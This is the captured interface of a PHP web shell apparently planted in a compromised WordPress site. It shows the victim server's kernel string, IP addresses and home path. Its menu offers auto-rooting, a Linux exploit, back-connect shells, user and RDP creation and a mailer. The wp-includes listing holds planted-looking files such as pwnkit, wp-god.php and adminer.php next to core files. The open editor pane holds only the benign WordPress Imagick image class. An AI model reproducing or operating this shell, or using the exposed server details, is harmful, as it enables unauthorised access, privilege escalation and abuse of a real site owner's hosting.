Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
thehappyfactory.eu /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
.1665483752
74
B
-rw----r--
.htaccess
291
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
1index.php
15.98
KB
-r--r--r--
admin-bar.php
22.47
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
ahxdspij.php
760
B
-rw-r--r--
atomlib.php
10.67
KB
-rw-r--r--
author-template.php
11.87
KB
-rw-r--r--
bookmark-template.php
9.45
KB
-rw-r--r--
bookmark.php
13.24
KB
-rw-r--r--
cache.php
17.5
KB
-rw-r--r--
canonical.php
22.49
KB
-rw-r--r--
capabilities.php
35.91
KB
-rw-r--r--
category-template.php
36.86
KB
-rw-r--r--
category.php
10.57
KB
-rw-r--r--
class-IXR.php
32.32
KB
-rw-r--r--
class-feed.php
3.52
KB
-rw-r--r--
class-http.php
57.92
KB
-rw-r--r--
class-json.php
26.06
KB
-rw-r--r--
class-oembed.php
11.78
KB
-rw-r--r--
class-phpass.php
6.83
KB
-rw-r--r--
class-phpmailer.php
79.81
KB
-rw-r--r--
class-pop3.php
20.26
KB
-rw-r--r--
class-query.php
35.11
KB
-rw----r--
class-simplepie.php
89.65
KB
-rw-r--r--
class-smtp.php
26.78
KB
-rw-r--r--
class-snoopy.php
36.89
KB
-rw-r--r--
class-wp-admin-bar.php
15.6
KB
-rw-r--r--
class-wp-ajax-response.php
3.8
KB
-rw-r--r--
class-wp-customize-control.php
19.06
KB
-rw-r--r--
class-wp-customize-manager.php
26.34
KB
-rw-r--r--
class-wp-customize-section.php
2.19
KB
-rw-r--r--
class-wp-customize-setting.php
11.13
KB
-rw-r--r--
class-wp-editor.php
32.34
KB
-rw-r--r--
class-wp-embed.php
8.62
KB
-rw-r--r--
class-wp-error.php
4.64
KB
-rw-r--r--
class-wp-http-ixr-client.php
2.6
KB
-rw-r--r--
class-wp-image-editor-gd.php
10.37
KB
-rw-r--r--
class-wp-image-editor-imagick....
11.78
KB
-rw-r--r--
class-wp-image-editor.php
8.99
KB
-rw-r--r--
class-wp-theme.php
37.32
KB
-rw-r--r--
class-wp-walker.php
12.53
KB
-rw-r--r--
class-wp-xmlrpc-server.php
159.46
KB
-rw-r--r--
class-wp.php
18.69
KB
-rw-r--r--
class.wp-dependencies.php
6.62
KB
-rw-r--r--
class.wp-scripts.php
5.47
KB
-rw-r--r--
class.wp-styles.php
4.41
KB
-rw-r--r--
comment-template.php
53.47
KB
-rw-r--r--
comment.php
68.61
KB
-rw-r--r--
compat.php
2.57
KB
-rw-r--r--
cron.php
13.71
KB
-rw-r--r--
default-constants.php
7.58
KB
-rw-r--r--
default-filters.php
13.87
KB
-rw-r--r--
default-widgets.php
44.45
KB
-rw-r--r--
deprecated.php
94.12
KB
-rw-r--r--
feed-atom-comments.php
4.21
KB
-rw-r--r--
feed-atom.php
2.48
KB
-rw-r--r--
feed-rdf.php
2.07
KB
-rw-r--r--
feed-rss.php
1.02
KB
-rw-r--r--
feed-rss2-comments.php
2.8
KB
-rw-r--r--
feed-rss2.php
2.49
KB
-rw-r--r--
feed.php
14.89
KB
-rw-r--r--
formatting.php
108.81
KB
-rw-r--r--
functions.php
116.7
KB
-rw-r--r--
functions.wp-scripts.php
6.49
KB
-rw-r--r--
functions.wp-styles.php
7.44
KB
-rw-r--r--
general-template.php
76.66
KB
-rw-r--r--
http.php
9.92
KB
-rw-r--r--
indeeex.php
2.73
KB
-rw-r--r--
indeex.php
1.7
KB
-rwxr-xr-x
index.htm
389
B
-r--r--r--
index.html
389
B
-r--r--r--
index.php
2.73
KB
-rw-r--r--
kses.php
41.69
KB
-rw-r--r--
l10n.php
17.72
KB
-rw-r--r--
link-template.php
71.9
KB
-rw-r--r--
load.php
24.37
KB
-rw-r--r--
locale.php
12.72
KB
-rw-r--r--
media-template.php
15.84
KB
-rw-r--r--
media.php
53
KB
-rw-r--r--
meta.php
26.58
KB
-rw-r--r--
ms-blogs.php
24.42
KB
-rw-r--r--
ms-default-constants.php
4.23
KB
-rw-r--r--
ms-default-filters.php
2.63
KB
-rw-r--r--
ms-deprecated.php
6.92
KB
-rw-r--r--
ms-files.php
2.49
KB
-rw-r--r--
ms-functions.php
62.07
KB
-rw-r--r--
ms-load.php
9.33
KB
-rw-r--r--
ms-settings.php
5.69
KB
-rw-r--r--
nav-menu-template.php
18
KB
-rw-r--r--
nav-menu.php
25.04
KB
-rw-r--r--
option.php
32.67
KB
-rw-r--r--
php.ini
105
B
-rw----r--
pluggable-deprecated.php
5.67
KB
-rw-r--r--
pluggable.php
60.99
KB
-rw-r--r--
plugin.php
27.99
KB
-rw-r--r--
post-template.php
42.05
KB
-rw-r--r--
post-thumbnail-template.php
3.22
KB
-rwxr-xr-x
post.php
173.25
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
93.45
KB
-rw-r--r--
radio.php
15.98
KB
-r--r--r--
radio.txt
40
B
-rw----r--
registration-functions.php
176
B
-rw-r--r--
registration.php
176
B
-rw-r--r--
rewrite.php
58.72
KB
-rw-r--r--
rss-functions.php
188
B
-rw-r--r--
rss.php
22.39
KB
-rw-r--r--
script-loader.php
40.14
KB
-rw-r--r--
shortcodes.php
9.76
KB
-rw-r--r--
smtphec.php
58.29
KB
-r--r--r--
taxonomy.php
107.04
KB
-rw-r--r--
template-loader.php
2.01
KB
-rw-r--r--
template.php
10.44
KB
-rw-r--r--
theme.php
51.68
KB
-rw-r--r--
update.php
14.27
KB
-rw-r--r--
user.php
46.57
KB
-rw-r--r--
vars.php
4.84
KB
-rw-r--r--
version.php
645
B
-rw-r--r--
widgets.php
37.94
KB
-rw-r--r--
wlwmanifest.xml
1.03
KB
-rw-r--r--
wp-db.php
46.27
KB
-rw-r--r--
wp-diff.php
12.2
KB
-rw-r--r--
wp-god.php
40.14
KB
-rw-r--r--
wp-options.php
4.11
KB
-rw----r--
wp-secure.php
1.24
KB
-rw-r--r--
wp-supports.php
4.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-image-editor-imagick.php
<?php /** * WordPress Imagick Image Editor * * @package WordPress * @subpackage Image_Editor */ /** * WordPress Image Editor Class for Image Manipulation through Imagick PHP Module * * @since 3.5.0 * @package WordPress * @subpackage Image_Editor * @uses WP_Image_Editor Extends class */ class WP_Image_Editor_Imagick extends WP_Image_Editor { protected $image = null; // Imagick Object function __destruct() { if ( $this->image ) { // we don't need the original in memory anymore $this->image->clear(); $this->image->destroy(); } } /** * Checks to see if current environment supports Imagick. * * We require Imagick 2.2.0 or greater, based on whether the queryFormats() * method can be called statically. * * @since 3.5.0 * @access public * * @return boolean */ public static function test( $args = array() ) { // First, test Imagick's extension and classes. if ( ! extension_loaded( 'imagick' ) || ! class_exists( 'Imagick' ) || ! class_exists( 'ImagickPixel' ) ) return false; if ( version_compare( phpversion( 'imagick' ), '2.2.0', '<' ) ) return false; $required_methods = array( 'clear', 'destroy', 'valid', 'getimage', 'writeimage', 'getimageblob', 'getimagegeometry', 'getimageformat', 'setimageformat', 'setimagecompression', 'setimagecompressionquality', 'setimagepage', 'scaleimage', 'cropimage', 'rotateimage', 'flipimage', 'flopimage', ); // Now, test for deep requirements within Imagick. if ( ! defined( 'imagick::COMPRESSION_JPEG' ) ) return false; if ( array_diff( $required_methods, get_class_methods( 'Imagick' ) ) ) return false; return true; } /** * Checks to see if editor supports the mime-type specified. * * @since 3.5.0 * @access public * * @param string $mime_type * @return boolean */ public static function supports_mime_type( $mime_type ) { $imagick_extension = strtoupper( self::get_extension( $mime_type ) ); if ( ! $imagick_extension ) return false; // setIteratorIndex is optional unless mime is an animated format. // Here, we just say no if you are missing it and aren't loading a jpeg. if ( ! method_exists( 'Imagick', 'setIteratorIndex' ) && $mime_type != 'image/jpeg' ) return false; try { return ( (bool) Imagick::queryFormats( $imagick_extension ) ); } catch ( Exception $e ) { return false; } } /** * Loads image from $this->file into new Imagick Object. * * @since 3.5.0 * @access protected * * @return boolean|WP_Error True if loaded; WP_Error on failure. */ public function load() { if ( $this->image ) return true; if ( ! is_file( $this->file ) && ! preg_match( '|^https?://|', $this->file ) ) return new WP_Error( 'error_loading_image', __('File doesn’t exist?'), $this->file ); // Even though Imagick uses less PHP memory than GD, set higher limit for users that have low PHP.ini limits @ini_set( 'memory_limit', apply_filters( 'image_memory_limit', WP_MAX_MEMORY_LIMIT ) ); try { $this->image = new Imagick( $this->file ); if( ! $this->image->valid() ) return new WP_Error( 'invalid_image', __('File is not an image.'), $this->file); // Select the first frame to handle animated images properly if ( is_callable( array( $this->image, 'setIteratorIndex' ) ) ) $this->image->setIteratorIndex(0); $this->mime_type = $this->get_mime_type( $this->image->getImageFormat() ); } catch ( Exception $e ) { return new WP_Error( 'invalid_image', $e->getMessage(), $this->file ); } $updated_size = $this->update_size(); if ( is_wp_error( $updated_size ) ) return $updated_size; return $this->set_quality(); } /** * Sets Image Compression quality on a 1-100% scale. * * @since 3.5.0 * @access public * * @param int $quality Compression Quality. Range: [1,100] * @return boolean|WP_Error */ public function set_quality( $quality = null ) { if ( !$quality ) $quality = $this->quality; try { if( 'image/jpeg' == $this->mime_type ) { $this->image->setImageCompressionQuality( apply_filters( 'jpeg_quality', $quality, 'image_resize' ) ); $this->image->setImageCompression( imagick::COMPRESSION_JPEG ); } else { $this->image->setImageCompressionQuality( $quality ); } } catch ( Exception $e ) { return new WP_Error( 'image_quality_error', $e->getMessage() ); } return parent::set_quality( $quality ); } /** * Sets or updates current image size. * * @since 3.5.0 * @access protected * * @param int $width * @param int $height */ protected function update_size( $width = null, $height = null ) { $size = null; if ( !$width || !$height ) { try { $size = $this->image->getImageGeometry(); } catch ( Exception $e ) { return new WP_Error( 'invalid_image', __('Could not read image size'), $this->file ); } } if ( ! $width ) $width = $size['width']; if ( ! $height ) $height = $size['height']; return parent::update_size( $width, $height ); } /** * Resizes current image. * * @since 3.5.0 * @access public * * @param int $max_w * @param int $max_h * @param boolean $crop * @return boolean|WP_Error */ public function resize( $max_w, $max_h, $crop = false ) { if ( ( $this->size['width'] == $max_w ) && ( $this->size['height'] == $max_h ) ) return true; $dims = image_resize_dimensions( $this->size['width'], $this->size['height'], $max_w, $max_h, $crop ); if ( ! $dims ) return new WP_Error( 'error_getting_dimensions', __('Could not calculate resized image dimensions') ); list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims; if ( $crop ) { return $this->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h ); } try { /** * @TODO: Thumbnail is more efficient, given a newer version of Imagemagick. * $this->image->thumbnailImage( $dst_w, $dst_h ); */ $this->image->scaleImage( $dst_w, $dst_h ); } catch ( Exception $e ) { return new WP_Error( 'image_resize_error', $e->getMessage() ); } return $this->update_size( $dst_w, $dst_h ); } /** * Processes current image and saves to disk * multiple sizes from single source. * * @since 3.5.0 * @access public * * @param array $sizes { {'width'=>int, 'height'=>int, 'crop'=>bool}, ... } * @return array */ public function multi_resize( $sizes ) { $metadata = array(); $orig_size = $this->size; $orig_image = $this->image->getImage(); foreach ( $sizes as $size => $size_data ) { if ( ! $this->image ) $this->image = $orig_image->getImage(); $resize_result = $this->resize( $size_data['width'], $size_data['height'], $size_data['crop'] ); if( ! is_wp_error( $resize_result ) ) { $resized = $this->_save( $this->image ); $this->image->clear(); $this->image->destroy(); $this->image = null; if ( ! is_wp_error( $resized ) && $resized ) { unset( $resized['path'] ); $metadata[$size] = $resized; } } $this->size = $orig_size; } $this->image = $orig_image; return $metadata; } /** * Crops Image. * * @since 3.5.0 * @access public * * @param string|int $src The source file or Attachment ID. * @param int $src_x The start x position to crop from. * @param int $src_y The start y position to crop from. * @param int $src_w The width to crop. * @param int $src_h The height to crop. * @param int $dst_w Optional. The destination width. * @param int $dst_h Optional. The destination height. * @param boolean $src_abs Optional. If the source crop points are absolute. * @return boolean|WP_Error */ public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false ) { if ( $src_abs ) { $src_w -= $src_x; $src_h -= $src_y; } try { $this->image->cropImage( $src_w, $src_h, $src_x, $src_y ); $this->image->setImagePage( $src_w, $src_h, 0, 0); if ( $dst_w || $dst_h ) { // If destination width/height isn't specified, use same as // width/height from source. if ( ! $dst_w ) $dst_w = $src_w; if ( ! $dst_h ) $dst_h = $src_h; $this->image->scaleImage( $dst_w, $dst_h ); return $this->update_size(); } } catch ( Exception $e ) { return new WP_Error( 'image_crop_error', $e->getMessage() ); } return $this->update_size(); } /** * Rotates current image counter-clockwise by $angle. * * @since 3.5.0 * @access public * * @param float $angle * @return boolean|WP_Error */ public function rotate( $angle ) { /** * $angle is 360-$angle because Imagick rotates clockwise * (GD rotates counter-clockwise) */ try { $this->image->rotateImage( new ImagickPixel('none'), 360-$angle ); } catch ( Exception $e ) { return new WP_Error( 'image_rotate_error', $e->getMessage() ); } return $this->update_size(); } /** * Flips current image. * * @since 3.5.0 * @access public * * @param boolean $horz Horizontal Flip * @param boolean $vert Vertical Flip * @returns boolean|WP_Error */ public function flip( $horz, $vert ) { try { if ( $horz ) $this->image->flipImage(); if ( $vert ) $this->image->flopImage(); } catch ( Exception $e ) { return new WP_Error( 'image_flip_error', $e->getMessage() ); } return true; } /** * Saves current image to file. * * @since 3.5.0 * @access public * * @param string $destfilename * @param string $mime_type * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string} */ public function save( $destfilename = null, $mime_type = null ) { $saved = $this->_save( $this->image, $destfilename, $mime_type ); if ( ! is_wp_error( $saved ) ) { $this->file = $saved['path']; $this->mime_type = $saved['mime-type']; try { $this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $this->file ); } } return $saved; } protected function _save( $image, $filename = null, $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( $filename, $mime_type ); if ( ! $filename ) $filename = $this->generate_filename( null, null, $extension ); try { // Store initial Format $orig_format = $this->image->getImageFormat(); $this->image->setImageFormat( strtoupper( $this->get_extension( $mime_type ) ) ); $this->make_image( $filename, array( $image, 'writeImage' ), array( $filename ) ); // Reset original Format $this->image->setImageFormat( $orig_format ); } catch ( Exception $e ) { return new WP_Error( 'image_save_error', $e->getMessage(), $filename ); } // Set correct file permissions $stat = stat( dirname( $filename ) ); $perms = $stat['mode'] & 0000666; //same permissions as parent folder, strip off the executable bits @ chmod( $filename, $perms ); return array( 'path' => $filename, 'file' => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ), 'width' => $this->size['width'], 'height' => $this->size['height'], 'mime-type' => $mime_type, ); } /** * Streams current image to browser. * * @since 3.5.0 * @access public * * @param string $mime_type * @return boolean|WP_Error */ public function stream( $mime_type = null ) { list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type ); try { // Temporarily change format for stream $this->image->setImageFormat( strtoupper( $extension ) ); // Output stream of image content header( "Content-Type: $mime_type" ); print $this->image->getImageBlob(); // Reset Image to original Format $this->image->setImageFormat( $this->get_extension( $this->mime_type ) ); } catch ( Exception $e ) { return new WP_Error( 'image_stream_error', $e->getMessage() ); } return true; } }
Close